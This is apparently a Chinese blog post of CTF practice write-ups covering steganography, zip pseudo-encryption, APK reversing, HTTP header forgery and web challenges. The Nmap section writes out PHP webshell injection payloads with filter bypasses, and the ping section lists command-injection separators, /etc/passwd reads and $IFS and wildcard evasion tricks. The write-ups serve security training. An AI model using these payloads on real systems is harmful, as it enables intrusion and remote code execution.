备战CTF做题题解

杂题

PDF题目

将PDF文件拖入Linux系统中打开,flag隐写在图片上

题目如来十三掌

使用“与佛论禅”翻译器进行解密,句首+“佛曰:”,得到解密后的密文,根据标题“十三”,将密文通过rot-13解密后,再通过base64解密,得到flag

功夫再高也怕菜刀

将pcapng文件拖到kaliLinux中,通过foremost工具打开,得到一个压缩包,压缩包内有名为flag.txt加密文件,需要获取密码,再通过 wireshake软件打开pcapng文件,通过搜索字节流flag.txt字符串,在第1150个数据包中发现大量16进制字符串,并发现有FFD8开头,确定其中包含有JPEG文件,将字符串FFD8开头FFD9结尾复制到winhex中,以ASCII Hex格式粘贴,导出后修改文件后缀.jpg,得到密码,打开FLAG.TXT,得到最终flag。

Web题目backup

查看备份文件的方法:在文件后添加后缀.bak或~,添加到url后

xff_referer

xff 是http的拓展头部,作用是使Web服务器获取访问用户的IP真实地址 (可伪造)。由于很多用户通过代理服务器进行访问,服务器只能获取代理服务器的IP地址,而xff的作用在于记录用户的真实IP。通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ip。

referer 是http的拓展头部,作用是记录当前请求页面的来源页面的地址。 服务器使用referer确认访问来源,如果referer内容不符合要求,服务器可以拦截或者重定向请求。

通过burp suite抓包,伪造http头部,将请求发送到重发器中,通过伪造X-Forwarded-For:123.123.123.123,重发,看到提示请求必须来自https://www.google.com,再伪造Referer头部内容Referer:https://www.google.com,得到Flag。

get_post

http的两种请求方式是get和post ,get的请求方式是通过在网址后面加上“?a=1&b=2”,例如:攻防世界,post传参的话通过hackbug

攻防世界-mobile简单题-easy-so

模拟器加载后,通过android反编译工具-jadx反编译apk文件,查找关键字符串“验证失败”,定位到相关函数CheckString,将资源文件导出,再通过IDA软件打开so文件,按F5转代码,发现输入框内容要与f72c5a36569418a20907b55be5bf95ad对比,他是通过将字符串两两交换,再对半头尾互换

1.将f7 2c 5a 36 56 94 18 a2 09 07 b5 5b e5 bf 95 ad两两交换得到7f c2 a5 63 65 49 81 2a 90 70 5b b5 5e fb 59 da

2.将7fc2a5636549812a 90705bb55efb59da从中间砍断,头尾互换得到90705bb55efb59da 7fc2a5636549812a

通过题目easyso脚本.py运行,得到flag

————————————————

版权声明:本文为CSDN博主「愚公搬代码」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:【愚公系列】2021年12月 攻防世界-简单题-MOBILE-001(easy-so)_愚公搬代码的博客-CSDN博客

攻防世界-mobile简单题-easy-apk

同样先通过模拟器打开apk文件,发现一样的结果“验证失败!”,接着jadx反编译apk文件,查找关键字,找到关键函数,发现还是通过比对字符串,5rFf7E2K6rqN7Hpiyush7E6S5fJg6rsi5NBf6NGT5rs=,确定是base64,找到Base64New函数,发现是自建库,需要特定的解密脚本,自建项目,找到万能C++代码,进行破解,运行“android-apk解题”,得到flag。

https://www.52pojie.cn/thread-1623325-1-1.html

攻防世界-MISC进阶题目

【杂项】各类文件头结合winhex使用-转载

———常用文件头———

JPEG (jpg),文件头:FFD8FFE1
PNG (png),文件头:89504E47 (0D0A1A0A)GIF (gif),文件头:47494638ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221XML (xml),文件头:3C3F786D6CMPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3AVI (avi),文件头:41564920

———不常用———
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
Wave (wav),文件头:57415645
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864

reverseMe

下载文件,打开后是镜像反转的Flag,打开画图,旋转-水平旋转。

Hear-with-your-Eyes

下载后得到压缩包,解压,得到一个没有文件后缀的文件,通过winhex打开后,发现提示“sound.mav”,可能还是一个压缩包文件,更改后缀为rar,再次解压得到音频文件sound.wav,通过Audacity软件打开后,选择频谱图展示

得到flag:e5353bb7b57578bd4da1c898a8e2d767

pure_color

下载附件后,通过Stegsolve打开图片,在BLUE的0图层可以看到Flag

flag{true_steganographers_doesnt_need_any_tools}

Miss_01

下载附件,得到一个压缩包,解压需要密码

但可以看到压缩包内包含一个文件夹以及一个word文档和fun压缩包,fun压缩包内还包含一个WAV文件。可以猜想最终的flag是包含在这个音频文件中。

通过Winhex打开,发现是伪加密。

一个zip文件由三部分组成:压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志。

1.压缩源文件数据区:

50 4B 03 04:这是头文件标记 (0x04034b50)

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(判断有无加密)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

2.压缩源文件目录区:

50 4B 01 02:目录中文件文件头标记 (0x02014b50)

1F 00:压缩使用的 pkware 版本

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(判断是否为伪加密)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

3.压缩源文件目录结束标志:

50 4B 05 06:目录结束标记

00 00:当前磁盘编号

00 00:目录区开始磁盘编号

01 00:本磁盘上纪录总数

01 00:目录区中纪录总数

59 00 00 00:目录区尺寸大小

3E 00 00 00:目录区对第一张磁盘的偏移量

00 00:ZIP 文件注释长度

全局方式位标记的四个数字中只有第二个数字对其有影响,其它的不管为何值,都不影响它的加密属性,即:

第二个数字为奇数时 –>加密

第二个数字为偶数时 –>未加密

————————————————

版权声明:本文为CSDN博主「xiaozhaidada」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:CTF——zip伪加密_xiaozhaidada的博客-CSDN博客_zip伪加密

先删除fun.zip后,破解伪加密。

通过ZipCenOp.jar进行破解:java -jar ZipCenOp.jar r miss_01.zip。得到word文件,打开

waoootu.epj,nv o

www.verymuch.net

是希尔加密

得到密钥love and peaceee,对word内容进行rabbit解密,

(rabbit是一种非对称加密,类似于base64编码,增加了解密密钥)

得到的字符串再通过base32解码,

再进行Unicode解码,

再与佛论禅,新佛曰解码:

得到最终密码:Live beautifully, dream passionately, love completely.

解压fun.zip,得到音频文件,通过Audicty打开,查看频谱图

flag{m1sc_1s_funny2333}

(这题好像洋葱。。。。)

base64,32,16的区分

首先密文中有英文大写和小写就是base64,只有大写和数字的就是base32,只有数字英文大写A-F那就是16

János-the-Ripper

下载附件,是一个压缩包,解压后得到一个没有文件后缀的文件misc100,通过winhex打开后,发现是50 4B开头,于是添加.zip压缩文件后缀,进行解压,发现需要密码,winhex中并没有伪加密,说明需要我们进行暴力破解。掏出ARCHPR,直接暴力破解

What-is-this

附件解压后,得到一个无后缀的文件,用winhex打开,右边显示“pic2.jpg”

将该文件后缀改为.zip,再解压一次,得到两张一样的jpg图片

stegsolve先打开pic1.jpg,再点击“Analyse --> Image Combiner”

WEB题目

Nmap[网鼎杯 2020 朱雀组]

NMAP中使用-0G命令可以实现代码写入

是一个NMAP扫描网站,随便输入一个IP

可以看到这里返回了nmap扫描的结果,这里我们就想到了NMAP里的-oG命令实现代码的写入,那我们这里就可以尝试构造payload,来利用‘拼接,写入我们想要的shell文件

nmap其他写文件命令:

-oN (标准输出)

-oX (XML输出)

-oS (ScRipT KIdd|3 oUTpuT)

-oG (Grep输出)

-oA (输出至所有格式)

选项-oG
将结果Grep保存。

nmap -F -oG test.txt 192.168.23.1

选项-oA
该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中。

nmap -F -oA test 192.168.3.2

尝试写入 webshell
127.0.0.1 | <?php @eval($_POST["hack"]);?> -oG hack.php

发现会对 php 过滤, 利用<?=来代替<?php 进行绕过,利用 phtml 来代替 shell.php 的文件后
缀:
127.0.0.1 | <?= @eval($_POST["hack"]);?> -oG hack.phtml

这块发现 php 语句的符号, 被转义了,

本地测试发现是’单引号的问题, 可以进行单引号和空格绕过,重新写入
127.0.0.1 |' <?= @eval($_POST["hack"]);?> -oG hack.phtml ' 或者

qq' <?= @eval($_POST["hack"]);?> -oG 4.phtml '

发现 PHP 语句被解析, 使用 webshell 管理工具, 进行连接, 通过在/目录, 发现 flag 文件
 

PING题目—CMD

看到ping命令就可以利用截断来执行新的命令。

首先测试所有的截断符号:

‘$’

‘;’

‘|’

‘-’

‘(’

‘)’

‘反引号’

‘||’

‘&&’

‘&’

‘}’

‘{’

'%0a’可以当作空格来用;

利用截断符号配合普通命令简单问题基本就出来;

例如:ip=127.0.0.1;cat /home/flag.txt

简单的flag就出来了,也可以配合其他的进行。

“;”分号用法

方式:command1 ; command2

用;号隔开每个命令, 每个命令按照从左到右的顺序执行, 彼此之间不关心是否失败, 所有命令都会执行。

“| ”管道符用法

上一条命令的输出,作为下一条命令参数。

CTF里面:ping 127.0.0.1 | ls(只执行ls不执行前面的)

方式:command1 | command

Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。

连续使用管道意味着第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。

利用一个管道:

rpm -qa|grep licq

这条命令使用一个管道符“|”建立了一个管道。管道将rpm -qa命令的输出(包括系统中所有安装的RPM包)作为grep命令的输入,从而列出带有licq字符的RPM包来。q表示查询query,a 表示all。

利用多个管道:

cat /etc/passwd | grep /bin/bash | wc -l

这条命令使用了两个管道,利用第一个管道将cat命令(显示passwd文件的内容)的输出送给grep命令,grep命令找出含有“/bin /bash”的所有行;第二个管道将grep的输出送给wc命令,wc命令统计出输入中的行数。这个命令的功能在于找出系统中有多少个用户使用bash。

“&”符号用法

ctf中用法 ping 127.0.0.1 & ls(先执行ls后执行ping)

&放在启动参数后面表示设置此进程为后台进程

方式:command1 &

默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作。

对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&'实现这个目的。

“&&”符号用法(与)

ctf中用法 ping 127.0.0.1 && ls(ping命令正确才执行ls 要是ping 1 && ls ls就不会执行)

shell 在执行某个命令的时候,会返回一个返回值,该返回值保存在 shell 变量 $? 中。

当 $? == 0 时,表示执行成功;

当 $? == 1 时(非0的数,返回值在0-255间),表示执行失败。

有时候,下一条命令依赖前一条命令是否执行成功。

如:在成功地执行一条命令之后再执行另一条命令,或者在一条命令执行失败后再执行另一条命令等。

shell 提供了 && 和 || 来实现命令执行控制的功能,shell 将根据 && 或 || 前面命令的返回值来控制其后面命令的执行。

语法格式如下:

command1 && command2 [&& command3 …]

命令之间使用 && 连接,实现逻辑与的功能。

只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。

只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。

1

2

“||”符号用法(或)

和&&相反 左边为假才执行命令二

语法格式如下:

command1 || command2 [|| command3 …]

命令之间使用 || 连接,实现逻辑或的功能。

只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻辑或操作。

只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。直到返回真的地方停止执行。

举例,ping命令判断存活主机,注意 &>要连起来写

ping -c 1 -w 1 192.168.1.1 &> /dev/null && result=0 ||result=1 if [ "$result" == 0 ];then echo "192.168.1.1 is UP!" else echo "192.168.2.1 is DOWN!" fi

绕过空格的方法

linux下绕过空格

$IFS

${IFS}

$IFS$1 //$1改成$加其他数字貌似都行

<

<>

{cat,flag.php} //用逗号实现了空格功能

%20

%09

例如

cat${IFS}flag.txt

cat$IFS$9flag.txt

cat<flag.txt

cat<>flag.txt

ca\t fl\ag

kg=$'\x20flag.txt'&&cat$kg(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

windows下绕过空格

type.\flag.txt

type,flag.txt

echo,123456

通配符绕过

???在linux里面可以进行代替字母

/???/c?t flag.txt

*在linux里面可以进行模糊匹配

cat flag.* *进行模糊匹配php

代替cat的命令

cat:由第一行开始显示内容,并将所有内容输出

tac:从最后一行倒序显示内容,并将所有内容输出

more:根据窗口大小,一页一页的现实文件内容

less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head:只显示头几行

tail:只显示最后几行

nl:类似于cat -n,显示时输出行号

tailf:类似于tail -f

sort%20/flag 读文件

dir来查看当前目录文件

Linux花式读取文件内容

注:目标是获取flag.txt的内容

static-sh读取文件:

static-sh ./flag.txt

paste读取文件:

paste ./flag.txt /etc/passwd

diff读取文件 :

diff ./flag.txt /etc/passwd

od读取文件

od -a ./flag.txt

bzmore读取文件:

bzmore ./flag.txt

bzless读取文件:

bzless ./flag

  • 2
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值